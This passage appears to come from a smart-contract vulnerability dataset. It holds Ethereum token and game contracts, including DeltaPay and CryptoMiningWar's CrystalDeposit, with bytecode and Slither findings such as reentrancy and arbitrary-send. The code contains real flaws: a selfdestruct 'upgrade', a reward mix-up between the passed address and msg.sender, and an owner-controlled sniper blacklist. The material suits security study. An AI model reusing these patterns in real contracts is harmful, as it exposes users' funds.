function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102c7578063c9567bf9146102dc578063dd62ed3e146102f1578063eb91e65114610337578063f9f92be41461035757600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b4114610279578063a9059cbb146102a757600080fd5b8063313ce567116100d1578063313ce567146101c95780635932ead1146101e55780636fc3eaec1461020757806370a082311461021c57600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a8152692137b7ba3c9021b7b4b760b11b60208201525b60405161014a91906114dd565b60405180910390f35b34801561015f57600080fd5b5061017361016e36600461144d565b610377565b604051901515815260200161014a565b34801561018f57600080fd5b50683635c9adc5dea000005b60405190815260200161014a565b3480156101b557600080fd5b506101736101c436600461140d565b61038e565b3480156101d557600080fd5b506040516009815260200161014a565b3480156101f157600080fd5b50610205610200366004611478565b6103f7565b005b34801561021357600080fd5b50610205610448565b34801561022857600080fd5b5061019b61023736600461139d565b610475565b34801561024857600080fd5b50610205610497565b34801561025d57600080fd5b506000546040516001600160a01b03909116815260200161014a565b34801561028557600080fd5b50604080518082019091526005815264424f4f545960d81b602082015261013d565b3480156102b357600080fd5b506101736102c236600461144d565b61050b565b3480156102d357600080fd5b50610205610518565b3480156102e857600080fd5b5061020561054e565b3480156102fd57600080fd5b5061019b61030c3660046113d5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561034357600080fd5b5061020561035236600461139d565b610912565b34801561036357600080fd5b5061020561037236600461139d565b61095d565b60006103843384846109ab565b5060015b92915050565b600061039b848484610acf565b6103ed84336103e88560405180606001604052806028815260200161167d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c15565b6109ab565b5060019392505050565b6000546001600160a01b0316331461042a5760405162461bcd60e51b815260040161042190611530565b60405180910390fd5b60128054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461046857600080fd5b4761047281610c4f565b50565b6001600160a01b03811660009081526002602052604081205461038890610d0d565b6000546001600160a01b031633146104c15760405162461bcd60e51b815260040161042190611530565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610384338484610acf565b600e546001600160a01b0316336001600160a01b03161461053857600080fd5b600061054330610475565b905061047281610d91565b6000546001600160a01b031633146105785760405162461bcd60e51b815260040161042190611530565b601254600160a01b900460ff16156105d25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610421565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561060f3082683635c9adc5dea000006109ab565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064857600080fd5b505afa15801561065c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068091906113b9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c857600080fd5b505afa1580156106dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070091906113b9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561074857600080fd5b505af115801561075c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078091906113b9565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d71947306107b081610475565b6000806107c56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061086191906114b0565b5050600c8055506002600d556012805463ffff00ff60a01b198116630101000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156108d657600080fd5b505af11580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090e9190611494565b5050565b6000546001600160a01b0316331461093c5760405162461bcd60e51b815260040161042190611530565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146109875760405162461bcd60e51b815260040161042190611530565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a0d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b038216610a6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610421565b6001600160a01b03831660009081526006602052604090205460ff1615610b5757600080fd5b6001600160a01b0383163014610c0557600d54600a55600c54600b556000610b7e30610475565b9050610b956103e8683635c9adc5dea000006115ed565b811115610c0357601254600160a81b900460ff16158015610bc457506012546001600160a01b03858116911614155b8015610bd95750601254600160b01b900460ff165b15610c0357610be781610d91565b47670429d069189e0000811115610c0157610c0147610c4f565b505b505b610c10838383610f36565b505050565b60008184841115610c395760405162461bcd60e51b815260040161042191906114dd565b506000610c46848661162c565b95945050505050565b6000610c5c6003836115ed565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015610c97573d6000803e3d6000fd5b50600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cd2573d6000803e3d6000fd5b506010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c10573d6000803e3d6000fd5b6000600854821115610d745760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610421565b6000610d7e610f41565b9050610d8a8382610f64565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610de757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e3b57600080fd5b505afa158015610e4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7391906113b9565b81600181518110610e9457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601154610eba91309116846109ab565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ef3908590600090869030904290600401611565565b600060405180830381600087803b158015610f0d57600080fd5b505af1158015610f21573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b610c10838383610fa6565b6000806000610f4e61109d565b9092509050610f5d8282610f64565b9250505090565b6000610d8a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110df565b600080600080600080610fb88761110d565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fea908761116a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461101990866111ac565b6001600160a01b03891660009081526002602052604090205561103b8161120b565b6110458483611255565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161108a91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006110b98282610f64565b8210156110d657505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836111005760405162461bcd60e51b815260040161042191906114dd565b506000610c4684866115ed565b600080600080600080600080600061112a8a600a54600b54611279565b925092509250600061113a610f41565b9050600080600061114d8e8787876112ce565b919e509c509a509598509396509194505050505091939550919395565b6000610d8a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c15565b6000806111b983856115d5565b905083811015610d8a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610421565b6000611215610f41565b90506000611223838361131e565b3060009081526002602052604090205490915061124090826111ac565b30600090815260026020526040902055505050565b600854611262908361116a565b60085560095461127290826111ac565b6009555050565b6000808080611293606461128d898961131e565b90610f64565b905060006112a6606461128d8a8961131e565b905060006112be826112b88b8661116a565b9061116a565b9992985090965090945050505050565b60008080806112dd888661131e565b905060006112eb888761131e565b905060006112f9888861131e565b9050600061130b826112b8868661116a565b939b939a50919850919650505050505050565b60008261132d57506000610388565b6000611339838561160d565b90508261134685836115ed565b14610d8a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610421565b6000602082840312156113ae578081fd5b8135610d8a81611659565b6000602082840312156113ca578081fd5b8151610d8a81611659565b600080604083850312156113e7578081fd5b82356113f281611659565b9150602083013561140281611659565b809150509250929050565b600080600060608486031215611421578081fd5b833561142c81611659565b9250602084013561143c81611659565b929592945050506040919091013590565b6000806040838503121561145f578182fd5b823561146a81611659565b946020939093013593505050565b600060208284031215611489578081fd5b8135610d8a8161166e565b6000602082840312156114a5578081fd5b8151610d8a8161166e565b6000806000606084860312156114c4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611509578581018301518582016040015282016114ed565b8181111561151a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156115b45784516001600160a01b03168352938301939183019160010161158f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115e8576115e8611643565b500190565b60008261160857634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561162757611627611643565b500290565b60008282101561163e5761163e611643565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461047257600080fd5b801515811461047257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec2bbec5b38931127522dc030528701ad04785ebe20892ddf6d2de39a779a9ee64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,319 |
0x134d3c5575eaaa1365d9268bb2a4b4d8fd1c5907
|
pragma solidity ^0.4.25;
/*
* CryptoMiningWar - Blockchain-based strategy game
* Author: InspiGames
* Website: https://cryptominingwar.github.io/
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract CryptoEngineerInterface {
uint256 public prizePool = 0;
function subVirus(address /*_addr*/, uint256 /*_value*/) public {}
function claimPrizePool(address /*_addr*/, uint256 /*_value*/) public {}
function isContractMiniGame() public pure returns( bool /*_isContractMiniGame*/) {}
function isEngineerContract() external pure returns(bool) {}
}
contract CryptoMiningWarInterface {
uint256 public deadline;
function subCrystal( address /*_addr*/, uint256 /*_value*/ ) public {}
function isMiningWarContract() external pure returns(bool) {}
}
interface MiniGameInterface {
function isContractMiniGame() external pure returns( bool _isContractMiniGame );
}
contract CrystalDeposit {
using SafeMath for uint256;
address public administrator;
// mini game
uint256 public HALF_TIME = 48 hours;
uint256 public MIN_TIME_WITH_DEADLINE = 12 hours;
uint256 public round = 0;
CryptoEngineerInterface public Engineer;
CryptoMiningWarInterface public MiningWar;
// mining war info
address miningWarAddress;
uint256 miningWarDeadline;
uint256 constant private CRTSTAL_MINING_PERIOD = 86400;
/**
* @dev mini game information
*/
mapping(uint256 => Game) public games;
/**
* @dev player information
*/
mapping(address => Player) public players;
mapping(address => bool) public miniGames;
struct Game {
uint256 round;
uint256 crystals;
uint256 prizePool;
uint256 startTime;
uint256 endTime;
bool ended;
}
struct Player {
uint256 currentRound;
uint256 lastRound;
uint256 reward;
uint256 share; // your crystals share in current round
}
event EndRound(uint256 round, uint256 crystals, uint256 prizePool, uint256 startTime, uint256 endTime);
event Deposit(address player, uint256 currentRound, uint256 deposit, uint256 currentShare);
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
constructor() public {
administrator = msg.sender;
// set interface contract
setMiningWarInterface(0x1b002cd1ba79dfad65e8abfbb3a97826e4960fe5);
setEngineerInterface(0xd7afbf5141a7f1d6b0473175f7a6b0a7954ed3d2);
}
function () public payable
{
}
/**
* @dev MainContract used this function to verify game's contract
*/
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
function isDepositContract() public pure returns(bool)
{
return true;
}
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
function setContractsMiniGame( address _addr ) public isAdministrator
{
MiniGameInterface MiniGame = MiniGameInterface( _addr );
if( MiniGame.isContractMiniGame() == false ) { revert(); }
miniGames[_addr] = true;
}
/**
* @dev remove mini game contract from main contract
* @param _addr mini game contract address
*/
function removeContractMiniGame(address _addr) public isAdministrator
{
miniGames[_addr] = false;
}
/**
* @dev Main Contract call this function to setup mini game.
*/
function setupMiniGame( uint256 /*_miningWarRoundNumber*/, uint256 _miningWarDeadline ) public
{
require(msg.sender == miningWarAddress);
miningWarDeadline = _miningWarDeadline;
}
function setMiningWarInterface(address _addr) public isAdministrator
{
CryptoMiningWarInterface miningWarInterface = CryptoMiningWarInterface(_addr);
require(miningWarInterface.isMiningWarContract() == true);
miningWarAddress = _addr;
MiningWar = miningWarInterface;
}
function setEngineerInterface(address _addr) public isAdministrator
{
CryptoEngineerInterface engineerInterface = CryptoEngineerInterface(_addr);
require(engineerInterface.isEngineerContract() == true);
Engineer = engineerInterface;
}
/**
* @dev start the mini game
*/
function startGame() public isAdministrator
{
miningWarDeadline = MiningWar.deadline();
games[round].ended = true;
startRound();
}
function startRound() private
{
require(games[round].ended == true);
uint256 crystalsLastRound = games[round].crystals;
uint256 prizePoolLastRound= games[round].prizePool;
round = round + 1;
uint256 startTime = now;
if (miningWarDeadline < SafeMath.add(startTime, MIN_TIME_WITH_DEADLINE)) startTime = miningWarDeadline;
uint256 endTime = startTime + HALF_TIME;
// claim 5% of current prizePool as rewards.
uint256 engineerPrizePool = getEngineerPrizePool();
uint256 prizePool = SafeMath.div(SafeMath.mul(engineerPrizePool, 5),100);
Engineer.claimPrizePool(address(this), prizePool);
if (crystalsLastRound == 0) prizePool = SafeMath.add(prizePool, prizePoolLastRound);
games[round] = Game(round, 0, prizePool, startTime, endTime, false);
}
function endRound() private
{
require(games[round].ended == false);
require(games[round].endTime <= now);
Game storage g = games[round];
g.ended = true;
startRound();
emit EndRound(g.round, g.crystals, g.prizePool, g.startTime, g.endTime);
}
/**
* @dev player send crystals to the pot
*/
function share(uint256 _value) public disableContract
{
require(games[round].ended == false);
require(games[round].startTime <= now);
require(_value >= 1);
MiningWar.subCrystal(msg.sender, _value);
if (games[round].endTime <= now) endRound();
updateReward(msg.sender);
Game storage g = games[round];
uint256 _share = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);
g.crystals = SafeMath.add(g.crystals, _share);
Player storage p = players[msg.sender];
if (p.currentRound == round) {
p.share = SafeMath.add(p.share, _share);
} else {
p.share = _share;
p.currentRound = round;
}
emit Deposit(msg.sender, p.currentRound, _value, p.share);
}
function getCurrentReward(address _addr) public view returns(uint256 _currentReward)
{
Player memory p = players[_addr];
_currentReward = p.reward;
_currentReward += calculateReward(_addr, p.currentRound);
}
function withdrawReward(address _addr) public
{
// require(miniGames[msg.sender] == true);
if (games[round].endTime <= now) endRound();
updateReward(_addr);
Player storage p = players[_addr];
uint256 balance = p.reward;
if (address(this).balance >= balance && balance > 0) {
_addr.transfer(balance);
// update player
p.reward = 0;
}
}
function updateReward(address _addr) private
{
Player storage p = players[_addr];
if (
games[p.currentRound].ended == true &&
p.lastRound < p.currentRound
) {
p.reward = SafeMath.add(p.reward, calculateReward(msg.sender, p.currentRound));
p.lastRound = p.currentRound;
}
}
function getData(address _addr)
public
view
returns(
// current game
uint256 _prizePool,
uint256 _crystals,
uint256 _startTime,
uint256 _endTime,
// player info
uint256 _reward,
uint256 _share
) {
(_prizePool, _crystals, _startTime, _endTime) = getCurrentGame();
(_reward, _share) = getPlayerData(_addr);
}
/**
* @dev calculate reward
*/
function calculateReward(address _addr, uint256 _round) public view returns(uint256)
{
Player memory p = players[_addr];
Game memory g = games[_round];
if (g.endTime > now) return 0;
if (g.crystals == 0) return 0;
if (p.lastRound >= _round) return 0;
return SafeMath.div(SafeMath.mul(g.prizePool, p.share), g.crystals);
}
function getCurrentGame() private view returns(uint256 _prizePool, uint256 _crystals, uint256 _startTime, uint256 _endTime)
{
Game memory g = games[round];
_prizePool = g.prizePool;
_crystals = g.crystals;
_startTime = g.startTime;
_endTime = g.endTime;
}
function getPlayerData(address _addr) private view returns(uint256 _reward, uint256 _share)
{
Player memory p = players[_addr];
_reward = p.reward;
if (p.currentRound == round) _share = players[_addr].share;
if (p.currentRound != p.lastRound) _reward += calculateReward(_addr, p.currentRound);
}
function getEngineerPrizePool() private view returns(uint256)
{
return Engineer.prizePool();
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,320 |
0x6b24197408da6c0e6d50d8cfc7b678359d2452e1
|
/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
// SPDX-License-Identifier: Unlicensed
//https://t.me/deltapay
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeltaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Delta Pay";
string private constant _symbol = "DeltaPay";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x7cC05edC4e402956C60bfB46db280f00705C2237);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e8 * 10**9;
uint256 public _maxWalletSize = 2e8 * 10**9;
uint256 public _swapTokensAtAmount = 1001 * 10**9;
uint256 public _minimumBuyAmount = 2e8 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
